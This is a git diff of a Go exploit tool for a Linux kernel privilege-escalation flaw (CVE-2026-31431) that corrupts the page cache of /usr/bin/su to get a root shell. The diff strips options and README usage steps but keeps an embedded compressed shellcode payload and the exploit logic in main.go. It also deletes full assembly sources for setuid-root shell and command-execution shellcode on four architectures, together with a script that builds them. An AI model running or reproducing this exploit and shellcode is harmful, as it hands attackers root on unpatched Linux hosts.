diff --git a/.gitignore b/.gitignore index a98e9d3..f3d638d 100644 --- a/.gitignore +++ b/.gitignore @@ -1,3 +1,2 @@ copyfail -.ansible -dist \ No newline at end of file +.ansible \ No newline at end of file diff --git a/.goreleaser.yaml b/.goreleaser.yaml index fdc2db9..8ea776c 100644 --- a/.goreleaser.yaml +++ b/.goreleaser.yaml @@ -4,21 +4,15 @@ before: hooks: - go mod tidy + builds: - env: - CGO_ENABLED=0 goos: - linux - goarch: - - amd64 - - "386" - - arm64 - - arm - goarm: - - "7" archives: - - formats: binary + - format: tar.gz # this name template makes the OS and Arch compatible with the results of `uname`. name_template: >- {{ .ProjectName }}_ diff --git a/README.md b/README.md index e84d7e1..15f7af4 100644 --- a/README.md +++ b/README.md @@ -1,61 +1,7 @@ # CopyFail Go -> Most Linux LPEs need a race window or a kernel-specific offset. Copy Fail is a straight-line logic flaw — it needs neither. The same ~~732-byte Python script~~ static Go binary roots every Linux distribution shipped since 2017. +> Most Linux LPEs need a race window or a kernel-specific offset.Copy Fail is a straight-line logic flaw — it needs neither.The same ~~732-byte Python script~~ static Go binary roots every Linux distribution shipped since 2017. A Go implementation of CVE-2026-31431. In case you need a static binary and no Python dependency. -See [copy.fail](https://copy.fail) for more info. - -## Interactive shell - -```shell -# Get the binary to your Linux host with code execution (exercise for the reader) -user@host$ chmod +x copyfail-go -user@host$ ./copyfail-go --backup /tmp/su -root@host# cat /tmp/su > /usr/bin/su # Restore the original su binary -root@host# touch -r /tmp/su /usr/bin/su # Restore the modified time of the original su -root@host# rm /tmp/su -root@host# # Do things as root =) -``` - -## Run binary as root - -Useful to elevate a program to root - -```shell -# Get the binary to your Linux host with code execution (exercise for the reader) -user@host$ chmod +x copyfail-go -user@host$ ./copyfail-go --backup /tmp/su --exec ./your-binary -user@host$ # Use whatever you ran to restore su from /tmp/su -``` - -## Don't trust those hex blobs? - -Compile the payloads yourself with `payloads/build-n-print.sh` on a Debian host (Debian 13 tested). - -You'll need to `apt install nasm python3 binutils-aarch64-linux-gnu binutils-arm-linux-gnueabihf` then run the script from in the payloads directory. It will compile each payload and output the zlib compressed hex strings. Compare those to what is in `main.go` (or replace them with your own) and build the `copyfile-go` binaries with `goreleaser build --snapshot --clean` from the main project directory. - -## Affected kernels (from [copy-fail-c](https://github.com/tgies/copy-fail-c/tree/main#affected-kernels)) - -``` -floor: torvalds/linux 72548b093ee3 August 2017, v4.14 - (AF_ALG iov_iter rework that - introduced the file-page write - primitive via splice into the AEAD - scatterlist) - -ceiling: torvalds/linux a664bf3d603d April 2026, mainline - (reverts the 2017 algif_aead - in-place optimization; separates - source and destination scatterlists - so page-cache pages can no longer - be a writable crypto destination) -``` - -In between: every major distro kernel that didn't backport the fix. -Ubuntu, RHEL, SUSE, Amazon Linux, and Debian were all confirmed vulnerable -in their stock cloud-image kernels at disclosure time. Distro-level -backports started rolling out around 2026-04-29 alongside the public -disclosure. To verify whether a target kernel is in-window, check whether -`a664bf3d603d` (or its distro-specific backport) is present in the kernel's -git log or the distro's changelog. +See [copy.fail](https://copy.fail) for more info. \ No newline at end of file diff --git a/main.go b/main.go index e5ecb2f..01e5af0 100644 --- a/main.go +++ b/main.go @@ -7,15 +7,12 @@ import ( "bytes" "compress/zlib" "encoding/hex" - "flag" "fmt" "io" "log" "os" "os/exec" - "runtime" "strings" - "time" "unsafe" "golang.org/x/sys/unix" @@ -31,22 +28,6 @@ const ( ALG_SET_AEAD_AUTHSIZE = 5 ) -// See payloads/exec-bin-sh-* for the shellcode -var payloadsZlibHex = map[string]string{ - "amd64": "789cab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c00111d10d3", - "386": "789cab77f57163646464800126066606102fa48185c38401014c18141860aae0aa816a40b806c80461569098000383e101c3db1bae9e6d303c1090a1af5f9c91a19f9499d7f93820b8f361e7a10ddc4089db598c11671b0038b31858", - "arm64": "78daab77f5716362646480012686ed0c205e05830398efc080091c182c18603a40342b9a2c32bd06ca5b039787e96cb8e421d47009c8bb0214126004f29980788534540cc4e686b0f59332f3f48b3318003ff61578", - "arm": "789cab77f57163646464800126060d06102f84c181c10426c8c2c06ac2a0c000538550ed00c61d40128459e1b20b1e8b172c780c64bc9760e87fc42000642b2c78cc0d1503c93342d9fa499979fac5190c00aca71742", -} - -// See payloads/exec-argv1-* for the shellcode -var execArgv1ZlibHex = map[string]string{ - "amd64": "789cab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e02e5c1680601086578c0f0ff864c7e568fee1a1501c36f59d61133f9590dff67d944f0b3020082b00eaf", - "386": "789cab77f57163646464800126066606102fa48185c38401014c18141860aae0aa816a40381fc80461569098000383e101c3db1bae9e6de88e51e1303c99c51d31f36c83e1ed2cc688b30d001bf41180", - "arm64": "789cab77f5716362646480012686ed0c205e05830398efc080091c182c18603a40342b9a2c32bd04ca5b029787e96cb8e421d47009c8bbf280dbe1272390cf04c42ba4216220f915dc103600d72b1509", - "arm": "789cab77f57163646464800126060d06102f84c181c10426c8c2c06ac2a0c000538550ed00c60d40128459e1b20b1e8b172c780c64bce76098fb944100c85658f0981b2a06926784b201f6cc14c1", -} - // packCmsg constructs a raw Control Message (CMSG) buffer to be sent alongside the payload func packCmsg(level, typ int, data []byte) []byte { cmsgSpace := unix.CmsgSpace(len(data)) @@ -154,118 +135,39 @@ func decompressPayload(zlibBytes []byte) []byte { return payload } -// resolveSu returns the path to the su binary. It prefers /usr/bin/su when -// present; otherwise it walks PATH (via exec.LookPath, equivalent to which(1)). -func resolveSu() (string, error) { - const fallback = "/usr/bin/su" - if _, err := os.Stat(fallback); err == nil { - return fallback, nil - } - p, err := exec.LookPath("su") - if err != nil { - return "", fmt.Errorf("su not found in PATH and not at %s: %w", fallback, err) - } - return p, nil -} - -// backupSuBinary copies src to dst before page-cache corruption. Preserves -// permission bits including setuid/setgid/sticky and access/modification times. -func backupSuBinary(src, dst string) error { - var meta unix.Stat_t - if err := unix.Stat(src, &meta); err != nil { - return fmt.Errorf("stat %s: %w", src, err) - } - // Cast these to int64 so we can compile for 32 bit architectures - atime := time.Unix(int64(meta.Atim.Sec), int64(meta.Atim.Nsec)) - mtime := time.Unix(int64(meta.Mtim.Sec), int64(meta.Mtim.Nsec)) - - in, err := os.Open(src) - if err != nil { - return fmt.Errorf("open %s: %w", src, err) - } - defer in.Close() - - fi, err := in.Stat() - if err != nil { - return fmt.Errorf("fstat %s: %w", src, err) - } - - const modeMask = os.ModePerm | os.ModeSetuid | os.ModeSetgid | os.ModeSticky - out, err := os.OpenFile(dst, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, 0600) - if err != nil { - return fmt.Errorf("create %s: %w", dst, err) - } - defer out.Close() - - if _, err := io.Copy(out, in); err != nil { - return fmt.Errorf("copy to %s: %w", dst, err) - } - if err := out.Sync(); err != nil { - return fmt.Errorf("sync %s: %w", dst, err) - } - if err := os.Chmod(dst, fi.Mode()&modeMask); err != nil { - return fmt.Errorf("chmod %s: %w", dst, err) - } - if err := os.Chtimes(dst, atime, mtime); err != nil { - return fmt.Errorf("chtimes %s: %w", dst, err) - } - return nil +func printHelp() { + prog := os.Args[0] + fmt.Fprintf(os.Stderr, "Usage: %s [-h|--help]\n\n", prog) + fmt.Fprintf(os.Stderr, "Go implementation of CVE-2026-31431 (copy-fail).\n") + fmt.Fprintf(os.Stderr, "Overwrites page cache of /usr/bin/su and runs su.\n") + fmt.Fprintf(os.Stderr, "See https://copy.fail for for information.\n") } func main() { - var suArgv1 string - var useExecArgv1 bool - var backupPath string - flag.StringVar(&backupPath, "backup", "", "path to copy the su binary to before overwriting") - flag.Func("exec", "command to run as root; full path required", func(s string) error { - useExecArgv1 = true - suArgv1 = s - return nil - }) - flag.Usage = func() { - fmt.Fprintf(os.Stderr, "Usage of %s:\n", os.Args[0]) - flag.PrintDefaults() - fmt.Fprintln(os.Stderr) - fmt.Fprintln(os.Stderr, "Go implementation of CVE-2026-31431 (copy-fail).") - fmt.Fprintln(os.Stderr, "Overwrites the page cache of su and runs su.") - fmt.Fprintln(os.Stderr, "See https://copy.fail for for information.") + for _, arg := range os.Args[1:] { + switch arg { + case "-h", "--help", "-help": + printHelp() + os.Exit(0) + } } - flag.Parse() - var payloadHex string - var ok bool - if useExecArgv1 { - payloadHex, ok = execArgv1ZlibHex[runtime.GOARCH] - if !ok { - log.Fatalf("Unsupported architecture for -exec: %s", runtime.GOARCH) - } - } else { - // Pick payload for the running architecture - payloadHex, ok = payloadsZlibHex[runtime.GOARCH] - if !ok { - log.Fatalf("Unsupported architecture: %s", runtime.GOARCH) - } - } + var payload []byte + + // Original payload from https://github.com/theori-io/copy-fail-CVE-2026-31431 + // A 160 byte linux ELF binary that: + // 1. Invokes the setuid(0) system call to set the user ID to root. + // 2. Invokes the execve system call to execute /bin/sh. + // 3. Exits cleanly if the execution fails. + payloadHex := "78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3" payloadZlib, err := hex.DecodeString(payloadHex) if err != nil { log.Fatalf("Invalid hex payload: %v", err) } - payload := decompressPayload(payloadZlib) - - suPath, err := resolveSu() - if err != nil { - log.Fatalf("%v", err) - } - - if backupPath != "" { - if err := backupSuBinary(suPath, backupPath); err != nil { - log.Fatalf("Backup failed: %v", err) - } - log.Printf("Backed up %s to %s", suPath, backupPath) - } + payload = decompressPayload(payloadZlib) // Open target file in read-only mode - f, err := os.Open(suPath) + f, err := os.Open("/usr/bin/su") if err != nil { log.Fatalf("Failed to open target file: %v", err) } @@ -294,11 +196,7 @@ func main() { // Execute the now-overwritten binary to trigger privilege escalation log.Println("Executing payload") var cmd *exec.Cmd - if useExecArgv1 { - cmd = exec.Command("su", suArgv1) - } else { - cmd = exec.Command("su") - } + cmd = exec.Command("su") cmd.Stdin = os.Stdin cmd.Stdout = os.Stdout cmd.Stderr = os.Stderr diff --git a/payloads/README.md b/payloads/README.md deleted file mode 100644 index e283c51..0000000 --- a/payloads/README.md +++ /dev/null @@ -1,19 +0,0 @@ -These are the assembly and binary payloads embedded in copyfail-go - -## Scripted - -Just run `build-n-print.sh` - -## Manual - -To build the asm run - -```shell -nasm -f bin {{ payload }}.asm -o {{ payload }} -``` - -To format the binary into the hex for copyfail-go, run - -```shell -cat {{ payload }} | python3 -c 'import sys, zlib; print(zlib.compress(sys.stdin.buffer.read()).hex())' -``` \ No newline at end of file diff --git a/payloads/build-n-print.sh b/payloads/build-n-print.sh deleted file mode 100644 index 70552a8..0000000 --- a/payloads/build-n-print.sh +++ /dev/null @@ -1,53 +0,0 @@ -#!/bin/bash - -# Check for nasm -if ! command -v nasm &> /dev/null; then - echo "[!] nasm could not be found. Please install it." - exit 1 -fi - -# Check for python3 -if ! command -v python3 &> /dev/null; then - echo "[!] python3 could not be found. Please install it." - exit 1 -fi - -for payload in *.asm; do - echo "[+] Building $payload" - nasm -f bin $payload -o ${payload%.asm} - echo "[+] Printing $payload as hex" - cat ${payload%.asm} | python3 -c 'import sys, zlib; print(zlib.compress(sys.stdin.buffer.read()).hex())' -done - -# Check for aarch64-linux-gnu-as -if ! command -v aarch64-linux-gnu-as &> /dev/null; then - echo "[!] aarch64-linux-gnu-as could not be found. Please install binutils-aarch64-linux-gnu" - exit 1 -fi - -for payload in *aarch64.S; do - # Assemble the source into an object file - echo "[+] Building $payload" - aarch64-linux-gnu-as $payload -o ${payload%.S}.o - # Extract ONLY the raw bytes into a flat binary file - echo "[+] Extracting $payload as binary" - aarch64-linux-gnu-objcopy -O binary ${payload%.S}.o ${payload%.S} - echo "[+] Printing $payload as hex" - cat ${payload%.S} | python3 -c 'import sys, zlib; print(zlib.compress(sys.stdin.buffer.read()).hex())' -done - -if ! command -v arm-linux-gnueabihf-as &> /dev/null; then - echo "[!] arm-linux-gnueabihf-as could not be found. Please install binutils-arm-linux-gnueabihf" - exit 1 -fi - -for payload in *armv7l.S; do - # Assemble the source into an object file - echo "[+] Building $payload" - arm-linux-gnueabihf-as $payload -o ${payload%.S}.o - # Extract ONLY the raw bytes into a flat binary file - echo "[+] Extracting $payload as binary" - arm-linux-gnueabihf-objcopy -O binary ${payload%.S}.o ${payload%.S} - echo "[+] Printing $payload as hex" - cat ${payload%.S} | python3 -c 'import sys, zlib; print(zlib.compress(sys.stdin.buffer.read()).hex())' -done diff --git a/payloads/exec-argv1-aarch64.S b/payloads/exec-argv1-aarch64.S deleted file mode 100644 index c77fe86..0000000 --- a/payloads/exec-argv1-aarch64.S +++ /dev/null @@ -1,53 +0,0 @@ -.section .text -.globl _start - -// --- 64-bit ELF Header --- -ehdr: - .byte 0x7F, 0x45, 0x4c, 0x46 // "\x7fELF" - .byte 2, 1, 1, 0 // 64-bit, little-endian, version 1 - .byte 0, 0, 0, 0, 0, 0, 0, 0 - .short 2 // e_type: Executable - .short 183 // e_machine: AArch64 (0xB7) - .int 1 // e_version - .quad 0x400078 // e_entry (0x400000 + 0x78) - .quad 0x40 // e_phoff (Program Header offset) - .quad 0 // e_shoff - .int 0 // e_flags - .short 64 // e_ehsize - .short 56 // e_phentsize - .short 1 // e_phnum - .short 0 // e_shentsize - .short 0 // e_shnum - .short 0 // e_shstrndx - -// --- Program Header (PT_LOAD) --- -phdr: - .int 1 // p_type: PT_LOAD - .int 5 // p_flags: PF_R | PF_X - .quad 0 // p_offset - .quad 0x400000 // p_vaddr - .quad 0x400000 // p_paddr - .quad file_end - ehdr // p_filesz - .quad file_end - ehdr // p_memsz - .quad 0x10000 // p_align - -// --- Payload --- -_start: - // setuid(0) - mov x0, #0 - mov x8, #146 // SYS_setuid - svc #0 - - // execve(argv[1], NULL, NULL) - ldr x0, [sp, #16] // x0 = argv[1] - mov x1, #0 // x1 = NULL - mov x2, #0 // x2 = NULL - mov x8, #221 // SYS_execve - svc #0 - - // exit(0) - mov x0, #0 - mov x8, #93 // SYS_exit - svc #0 - -file_end: \ No newline at end of file diff --git a/payloads/exec-argv1-amd64.asm b/payloads/exec-argv1-amd64.asm deleted file mode 100644 index 234b47b..0000000 --- a/payloads/exec-argv1-amd64.asm +++ /dev/null @@ -1,54 +0,0 @@ -BITS 64 -org 0x400000 - -; --- 64-bit ELF Header --- -ehdr: - db 0x7F, "ELF", 2, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0 - dw 2 ; e_type: Executable - dw 0x3e ; e_machine: x86-64 - dd 1 ; e_version - dq _start ; e_entry - dq phdr - ehdr ; e_phoff (offset to program header) - dq 0 ; e_shoff - dd 0 ; e_flags - dw 64 ; e_ehsize (ELF header size) - dw 56 ; e_phentsize (Program header size) - dw 1 ; e_phnum (Number of program headers) - dw 0 ; e_shentsize - dw 0 ; e_shnum - dw 0 ; e_shstrndx - -; --- Program Header (PT_LOAD) --- -phdr: - dd 1 ; p_type: PT_LOAD - dd 5 ; p_flags: PF_R | PF_X (Read + Execute) - dq 0 ; p_offset - dq 0x400000 ; p_vaddr - dq 0x400000 ; p_paddr - dq file_end - ehdr ; p_filesz - dq file_end - ehdr ; p_memsz - dq 0x1000 ; p_align - -; --- Payload --- -_start: - ; setuid(0) - xor eax, eax - xor edi, edi - mov al, 0x69 - syscall - - ; execve(argv[1], NULL, NULL) - mov rdi,[rsp+0x10] - xor esi, esi - push 0x3b - pop rax - cdq - syscall - - ; exit(0) - xor edi, edi - push 0x3c - pop rax - syscall - -file_end: \ No newline at end of file diff --git a/payloads/exec-argv1-armv7l.S b/payloads/exec-argv1-armv7l.S deleted file mode 100644 index 315e9ee..0000000 --- a/payloads/exec-argv1-armv7l.S +++ /dev/null @@ -1,53 +0,0 @@ -.section .text -.globl _start - -// --- 32-bit ELF Header (52 bytes) --- -ehdr: - .byte 0x7F, 0x45, 0x4c, 0x46 // "\x7fELF" - .byte 1, 1, 1, 0 // 32-bit, little-endian, version 1 - .byte 0, 0, 0, 0, 0, 0, 0, 0 - .short 2 // e_type: Executable - .short 40 // e_machine: ARM (0x28) - .int 1 // e_version - .int 0x400054 // e_entry (0x400000 + 0x34 + 0x20) - .int 0x34 // e_phoff (Program Header offset = 52) - .int 0 // e_shoff - .int 0x5000400 // e_flags: EF_ARM_EABI_VER5 | EF_ARM_VFP_FLOAT - .short 52 // e_ehsize - .short 32 // e_phentsize - .short 1 // e_phnum - .short 0 // e_shentsize - .short 0 // e_shnum - .short 0 // e_shstrndx - -// --- Program Header (PT_LOAD, 32 bytes) --- -phdr: - .int 1 // p_type: PT_LOAD - .int 0 // p_offset - .int 0x400000 // p_vaddr - .int 0x400000 // p_paddr - .int file_end - ehdr // p_filesz - .int file_end - ehdr // p_memsz - .int 5 // p_flags: PF_R | PF_X - .int 0x10000 // p_align - -// --- Payload --- -_start: - // setuid(0) - mov r0, #0 - mov r7, #23 // SYS_setuid - svc #0 - - // execve(argv[1], NULL, NULL) - ldr r0, [sp, #8] // r0 = argv[1] (skip argc + argv[0], 4 bytes each) - mov r1, #0 // r1 = NULL - mov r2, #0 // r2 = NULL - mov r7, #11 // SYS_execve - svc #0 - - // exit(0) - mov r0, #0 - mov r7, #1 // SYS_exit - svc #0 - -file_end: diff --git a/payloads/exec-argv1-i386.asm b/payloads/exec-argv1-i386.asm deleted file mode 100644 index 74769d0..0000000 --- a/payloads/exec-argv1-i386.asm +++ /dev/null @@ -1,59 +0,0 @@ -BITS 32 -org 0x08048000 - -; --- 32-bit ELF Header --- -ehdr: - db 0x7F, "ELF" ; e_ident - db 1 ; EI_CLASS (1 = 32-bit) - db 1 ; EI_DATA (1 = little endian) - db 1 ; EI_VERSION - db 0 ; EI_OSABI - db 0, 0, 0, 0, 0, 0, 0, 0 - dw 2 ; e_type: Executable - dw 3 ; e_machine: EM_386 (x86) - dd 1 ; e_version - dd _start ; e_entry - dd phdr - ehdr ; e_phoff (offset to program header) - dd 0 ; e_shoff - dd 0 ; e_flags - dw 52 ; e_ehsize (32-bit ELF header size) - dw 32 ; e_phentsize (32-bit Program header size) - dw 1 ; e_phnum (Number of program headers) - dw 0 ; e_shentsize - dw 0 ; e_shnum - dw 0 ; e_shstrndx - -; --- Program Header (PT_LOAD) --- -phdr: - dd 1 ; p_type: PT_LOAD - dd 0 ; p_offset - dd 0x08048000 ; p_vaddr - dd 0x08048000 ; p_paddr - dd file_end - ehdr ; p_filesz - dd file_end - ehdr ; p_memsz - dd 5 ; p_flags: PF_R | PF_X (Read + Execute) - dd 0x1000 ; p_align - -; --- Payload --- -_start: - ; setuid32(0) - xor eax, eax - xor ebx, ebx ; ebx = 0 (UID) - mov al, 213 ; sys_setuid32 (213) - int 0x80 - - ; execve(argv[1], NULL, NULL) - mov ebx, [esp+8] ; ebx = argv[1] (pointers are 4 bytes, so[esp+8]) - xor ecx, ecx ; ecx = NULL - push 11 ; sys_execve (11) - pop eax - cdq ; edx = 0 (sign-extends eax into edx) - int 0x80 - - ; exit(0) - xor ebx, ebx ; Exit code 0 - push 1 ; sys_exit (1) - pop eax - int 0x80 - -file_end: \ No newline at end of file diff --git a/payloads/exec-bin-sh-aarch64.S b/payloads/exec-bin-sh-aarch64.S deleted file mode 100644 index f47b9e6..0000000 --- a/payloads/exec-bin-sh-aarch64.S +++ /dev/null @@ -1,54 +0,0 @@ -.section .text -.globl _start - -// --- 64-bit ELF Header (64 bytes) --- -ehdr: - .byte 0x7F, 0x45, 0x4c, 0x46 // "\x7fELF" - .byte 2, 1, 1, 0 // 64-bit, little-endian, version 1 - .byte 0, 0, 0, 0, 0, 0, 0, 0 - .short 2 // e_type: Executable - .short 183 // e_machine: AArch64 (0xB7) - .int 1 // e_version - .quad 0x400078 // e_entry (0x400000 + 0x78) - .quad 0x40 // e_phoff (Program Header offset) - .quad 0 // e_shoff - .int 0 // e_flags - .short 64 // e_ehsize - .short 56 // e_phentsize - .short 1 // e_phnum - .short 0 // e_shentsize - .short 0 // e_shnum - .short 0 // e_shstrndx - -// --- Program Header (PT_LOAD, 56 bytes) --- -phdr: - .int 1 // p_type: PT_LOAD - .int 5 // p_flags: PF_R | PF_X - .quad 0 // p_offset - .quad 0x400000 // p_vaddr - .quad 0x400000 // p_paddr - .quad file_end - ehdr // p_filesz - .quad file_end - ehdr // p_memsz - .quad 0x10000 // p_align - -// --- Payload (52 bytes) --- -_start: - mov x0, #0 - mov x8, #146 // SYS_setuid - svc #0 - - adr x0, sh // PC-relative load of the "sh" label - - mov x1, #0 - mov x2, #0 - mov x8, #221 // SYS_execve - svc #0 - - mov x0, #0 - mov x8, #93 // SYS_exit - svc #0 - -sh: - .asciz "/bin/sh" // 8 bytes (includes null terminator) - -file_end: \ No newline at end of file diff --git a/payloads/exec-bin-sh-amd64.asm b/payloads/exec-bin-sh-amd64.asm deleted file mode 100644 index b49adcc..0000000 --- a/payloads/exec-bin-sh-amd64.asm +++ /dev/null @@ -1,56 +0,0 @@ -BITS 64 -org 0x400000 - -; --- 64-bit ELF Header --- -ehdr: - db 0x7F, "ELF", 2, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0 - dw 2 ; e_type: Executable - dw 0x3e ; e_machine: x86-64 - dd 1 ; e_version - dq _start ; e_entry - dq phdr - ehdr ; e_phoff (offset to program header) - dq 0 ; e_shoff - dd 0 ; e_flags - dw 64 ; e_ehsize (ELF header size) - dw 56 ; e_phentsize (Program header size) - dw 1 ; e_phnum (Number of program headers) - dw 0 ; e_shentsize - dw 0 ; e_shnum - dw 0 ; e_shstrndx - -; --- Program Header (PT_LOAD) --- -phdr: - dd 1 ; p_type: PT_LOAD - dd 5 ; p_flags: PF_R | PF_X (Read + Execute) - dq 0 ; p_offset - dq 0x400000 ; p_vaddr - dq 0x400000 ; p_paddr - dq file_end - ehdr ; p_filesz - dq file_end - ehdr ; p_memsz - dq 0x1000 ; p_align - -; --- Payload --- -_start: - ; setuid(0) - xor eax, eax - xor edi, edi - mov al, 0x69 - syscall - - ; execve("/bin/sh", NULL, NULL) - lea rdi, [rel sh] ; 48 8d 3d 0f 00 00 00 rdi -> "/bin/sh" - xor esi, esi ; 31 f6 rsi = 0 (argv = NULL) - push 0x3b ; 6a 3b push SYS_execve - pop rax ; 58 rax = 59 - cdq ; 99 rdx = 0 (envp = NULL) - syscall ; 0f 05 execve("/bin/sh", 0, 0) - - ; exit(0) - xor edi, edi - push 0x3c - pop rax - syscall - -sh: db "/bin/sh", 0 - -file_end: \ No newline at end of file diff --git a/payloads/exec-bin-sh-armv7l.S b/payloads/exec-bin-sh-armv7l.S deleted file mode 100644 index 234a8c0..0000000 --- a/payloads/exec-bin-sh-armv7l.S +++ /dev/null @@ -1,53 +0,0 @@ -.section .text -.globl _start - -// --- 32-bit ELF Header (52 bytes) --- -ehdr: - .byte 0x7F, 0x45, 0x4c, 0x46 // "\x7fELF" - .byte 1, 1, 1, 0 // 32-bit, little-endian, version 1 - .byte 0, 0, 0, 0, 0, 0, 0, 0 - .short 2 // e_type: Executable - .short 40 // e_machine: ARM (0x28) - .int 1 // e_version - .int 0x400054 // e_entry (0x400000 + 0x34 + 0x20) - .int 0x34 // e_phoff (Program Header offset = 52) - .int 0 // e_shoff - .int 0x5000400 // e_flags: EF_ARM_EABI_VER5 | EF_ARM_VFP_FLOAT - .short 52 // e_ehsize - .short 32 // e_phentsize - .short 1 // e_phnum - .short 0 // e_shentsize - .short 0 // e_shnum - .short 0 // e_shstrndx - -// --- Program Header (PT_LOAD, 32 bytes) --- -phdr: - .int 1 // p_type: PT_LOAD - .int 0 // p_offset - .int 0x400000 // p_vaddr - .int 0x400000 // p_paddr - .int file_end - ehdr // p_filesz - .int file_end - ehdr // p_memsz - .int 5 // p_flags: PF_R | PF_X - .int 0x10000 // p_align - -// --- Payload --- -_start: - mov r0, #0 - mov r7, #23 // SYS_setuid - svc #0 - - adr r0, sh // PC-relative load of the "sh" label - mov r1, #0 - mov r2, #0 - mov r7, #11 // SYS_execve - svc #0 - - mov r0, #0 - mov r7, #1 // SYS_exit - svc #0 - -sh: - .asciz "/bin/sh" // 8 bytes (includes null terminator) - -file_end: diff --git a/payloads/exec-bin-sh-i386.asm b/payloads/exec-bin-sh-i386.asm deleted file mode 100644 index 75da36f..0000000 --- a/payloads/exec-bin-sh-i386.asm +++ /dev/null @@ -1,64 +0,0 @@ -BITS 32 -org 0x08048000 - -; --- 32-bit ELF Header --- -ehdr: - db 0x7F, "ELF" ; e_ident - db 1 ; EI_CLASS (1 = 32-bit) - db 1 ; EI_DATA (1 = little endian) - db 1 ; EI_VERSION - db 0 ; EI_OSABI - db 0, 0, 0, 0, 0, 0, 0, 0 - dw 2 ; e_type: Executable - dw 3 ; e_machine: EM_386 (x86) - dd 1 ; e_version - dd _start ; e_entry - dd phdr - ehdr ; e_phoff (offset to program header) - dd 0 ; e_shoff - dd 0 ; e_flags - dw 52 ; e_ehsize (32-bit ELF header size) - dw 32 ; e_phentsize (32-bit Program header size) - dw 1 ; e_phnum (Number of program headers) - dw 0 ; e_shentsize - dw 0 ; e_shnum - dw 0 ; e_shstrndx - -; --- Program Header (PT_LOAD) --- -phdr: - dd 1 ; p_type: PT_LOAD - dd 0 ; p_offset - dd 0x08048000 ; p_vaddr - dd 0x08048000 ; p_paddr - dd file_end - ehdr ; p_filesz - dd file_end - ehdr ; p_memsz - dd 5 ; p_flags: PF_R | PF_X (Read + Execute) - dd 0x1000 ; p_align - -; --- Payload --- -_start: - ; setuid32(0) - xor eax, eax - xor ebx, ebx ; ebx = 0 (UID) - mov al, 213 ; sys_setuid32 (213) - int 0x80 - - ; execve("/bin/sh", ["/bin/sh", NULL], NULL) - xor eax, eax ; 31 c0 eax = 0 - push eax ; 50 NULL terminator for argv - push 0x68732f2f ; 68 2f 2f 73 68 "//sh" - push 0x6e69622f ; 68 2f 62 69 6e "/bin" - mov ebx, esp ; 89 e3 ebx -> "/bin//sh" - push eax ; 50 envp = NULL - push ebx ; 53 argv[0] = "/bin//sh" - mov ecx, esp ; 89 e1 ecx -> argv - mov edx, eax ; 89 c2 edx = 0 (envp) - mov al, 0xb ; b0 0b eax = 11 (SYS_execve) - int 0x80 ; cd 80 syscall - - ; exit(0) - xor ebx, ebx ; Exit code 0 - push 1 ; sys_exit (1) - pop eax - int 0x80 - -file_end: \ No newline at end of file